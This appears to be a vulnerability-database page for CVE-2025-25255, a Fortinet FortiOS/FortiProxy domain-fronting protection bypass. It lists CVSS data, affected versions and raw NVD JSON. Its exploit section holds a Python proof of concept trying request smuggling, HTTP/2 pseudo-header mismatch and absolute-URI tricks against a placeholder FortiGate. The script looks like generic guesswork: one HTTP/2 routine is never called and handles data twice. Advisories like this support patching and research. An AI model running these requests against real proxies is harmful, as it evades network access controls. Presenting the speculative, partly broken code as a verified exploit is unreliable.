Security Vulnerability Report
中文
CVE-2025-25255 CVSS 5.3 MEDIUM

CVE-2025-25255

Published: 2025-10-14 16:15:37
Last Modified: 2026-01-14 10:16:04

Description

An Improperly Implemented Security Check for Standard vulnerability [CWE-358] vulnerability in Fortinet FortiOS 7.6.0 through 7.6.3, FortiProxy 7.6.0 through 7.6.3, FortiProxy 7.4.0 through 7.4.11, FortiProxy 7.2 all versions, FortiProxy 7.0.1 through 7.0.22 may allow an unauthenticated proxy user to bypass the domain fronting protection feature via crafted HTTP requests.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:* - VULNERABLE
Fortinet FortiOS 7.6.0
Fortinet FortiOS 7.6.1
Fortinet FortiOS 7.6.2
Fortinet FortiOS 7.6.3
Fortinet FortiProxy 7.6.0
Fortinet FortiProxy 7.6.1
Fortinet FortiProxy 7.6.2
Fortinet FortiProxy 7.6.3
Fortinet FortiProxy 7.4.0
Fortinet FortiProxy 7.4.1
Fortinet FortiProxy 7.4.2
Fortinet FortiProxy 7.4.3
Fortinet FortiProxy 7.4.4
Fortinet FortiProxy 7.4.5
Fortinet FortiProxy 7.4.6
Fortinet FortiProxy 7.4.7
Fortinet FortiProxy 7.4.8
Fortinet FortiProxy 7.4.9
Fortinet FortiProxy 7.4.10
Fortinet FortiProxy 7.4.11
Fortinet FortiProxy 7.2.0
Fortinet FortiProxy 7.2.1
Fortinet FortiProxy 7.2.2
Fortinet FortiProxy 7.2.3
Fortinet FortiProxy 7.2.4
Fortinet FortiProxy 7.2.5
Fortinet FortiProxy 7.2.6
Fortinet FortiProxy 7.2.7
Fortinet FortiProxy 7.2.8
Fortinet FortiProxy 7.2.9
Fortinet FortiProxy 7.2.10
Fortinet FortiProxy 7.0.1
Fortinet FortiProxy 7.0.2
Fortinet FortiProxy 7.0.3
Fortinet FortiProxy 7.0.4
Fortinet FortiProxy 7.0.5
Fortinet FortiProxy 7.0.6
Fortinet FortiProxy 7.0.7
Fortinet FortiProxy 7.0.8
Fortinet FortiProxy 7.0.9
Fortinet FortiProxy 7.0.10
Fortinet FortiProxy 7.0.11
Fortinet FortiProxy 7.0.12
Fortinet FortiProxy 7.0.13
Fortinet FortiProxy 7.0.14
Fortinet FortiProxy 7.0.15
Fortinet FortiProxy 7.0.16
Fortinet FortiProxy 7.0.17
Fortinet FortiProxy 7.0.18
Fortinet FortiProxy 7.0.19
Fortinet FortiProxy 7.0.20
Fortinet FortiProxy 7.0.21
Fortinet FortiProxy 7.0.22

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-25255 PoC - Fortinet FortiOS/FortiProxy Domain Fronting Protection Bypass # This PoC demonstrates how to bypass domain fronting protection via crafted HTTP requests import ssl import socket import http.client TARGET_HOST = "fortigate.example.com" # FortiOS/FortiProxy device TARGET_PORT = 443 FRONT_DOMAIN = "allowed-cdn.example.com" # Legitimate CDN domain (SNI) BACK_DOMAIN = "blocked-site.example.com" # Blocked destination (Host header) def exploit_request_smuggling(): """ Exploit via HTTP Request Smuggling to bypass domain fronting check. Uses CL-TE inconsistency to smuggle a request with a different Host header. """ # Craft a smuggled HTTP request smuggled_request = ( f"POST http://{BACK_DOMAIN}/ HTTP/1.1\r\n" f"Host: {BACK_DOMAIN}\r\n" f"Content-Length: 0\r\n" f"\r\n" ) # Front-end request with legitimate domain front_request = ( f"POST http://{FRONT_DOMAIN}/ HTTP/1.1\r\n" f"Host: {FRONT_DOMAIN}\r\n" f"Content-Length: {len(smuggled_request)}\r\n" f"Transfer-Encoding: chunked\r\n" f"\r\n" f"0\r\n" f"\r\n" f"{smuggled_request}" ) # Establish TLS connection with front domain as SNI context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE with socket.create_connection((TARGET_HOST, TARGET_PORT)) as sock: with context.wrap_socket(sock, server_hostname=FRONT_DOMAIN) as ssock: ssock.send(front_request.encode()) response = ssock.recv(4096) print(f"[*] Response:\n{response.decode(errors='replace')}") def exploit_http2_pseudo_headers(): """ Exploit via HTTP/2 pseudo-header manipulation to bypass domain fronting check. Uses :authority pseudo-header mismatch with SNI. """ import h2.connection import h2.events import h2.config config = h2.config.H2Configuration(client_side=True) conn = h2.connection.H2Connection(config=config) conn.initiate_connection() # Send headers with mismatched :authority and SNI headers = [ (':method', 'GET'), (':path', '/'), (':authority', BACK_DOMAIN), # Real target in :authority (':scheme', 'https'), ('host', FRONT_DOMAIN), # Legitimate domain in host header ] conn.send_headers(1, headers) # Establish TLS with front domain context = ssl.create_default_context() context.set_alpn_protocols(['h2']) context.check_hostname = False context.verify_mode = ssl.CERT_NONE with socket.create_connection((TARGET_HOST, TARGET_PORT)) as sock: with context.wrap_socket(sock, server_hostname=FRONT_DOMAIN) as ssock: ssock.sendall(conn.data_to_send()) response_data = b"" while True: data = ssock.recv(65535) if not data: break response_data += data conn.receive_data(data) events = conn.receive_data(response_data) for event in events: if isinstance(event, h2.events.ResponseReceived): print(f"[*] Got response headers: {event.headers}") def exploit_absolute_uri(): """ Exploit via HTTP/1.1 absolute URI in request line to bypass domain fronting. The proxy may only check the Host header but not the absolute URI. """ request = ( f"GET http://{BACK_DOMAIN}/secret-resource HTTP/1.1\r\n" f"Host: {FRONT_DOMAIN}\r\n" f"User-Agent: Mozilla/5.0\r\n" f"Accept: */*\r\n" f"Connection: close\r\n" f"\r\n" ) context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE with socket.create_connection((TARGET_HOST, TARGET_PORT)) as sock: with context.wrap_socket(sock, server_hostname=FRONT_DOMAIN) as ssock: ssock.send(request.encode()) response = ssock.recv(4096) print(f"[*] Response:\n{response.decode(errors='replace')}") if __name__ == "__main__": print("[*] CVE-2025-25255 PoC - Domain Fronting Protection Bypass") print("[*] Attempting HTTP Request Smuggling exploit...") try: exploit_request_smuggling() except Exception as e: print(f"[-] Request smuggling failed: {e}") print("\n[*] Attempting Absolute URI exploit...") try: exploit_absolute_uri() except Exception as e: print(f"[-] Absolute URI exploit failed: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-25255", "sourceIdentifier": "[email protected]", "published": "2025-10-14T16:15:37.020", "lastModified": "2026-01-14T10:16:03.923", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Improperly Implemented Security Check for Standard vulnerability [CWE-358] vulnerability in Fortinet FortiOS 7.6.0 through 7.6.3, FortiProxy 7.6.0 through 7.6.3, FortiProxy 7.4.0 through 7.4.11, FortiProxy 7.2 all versions, FortiProxy 7.0.1 through 7.0.22 may allow an unauthenticated proxy user to bypass the domain fronting protection feature via crafted HTTP requests."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-358"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.1", "versionEndExcluding": "7.6.4", "matchCriteriaId": "3973E980-FB6B-440D-AB85-14B7147EF77D"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.0", "versionEndExcluding": "7.6.4", "matchCriteriaId": "C1C30E0D-7F09-42D2-9EB1-E2196BD50D75"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-24-372", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}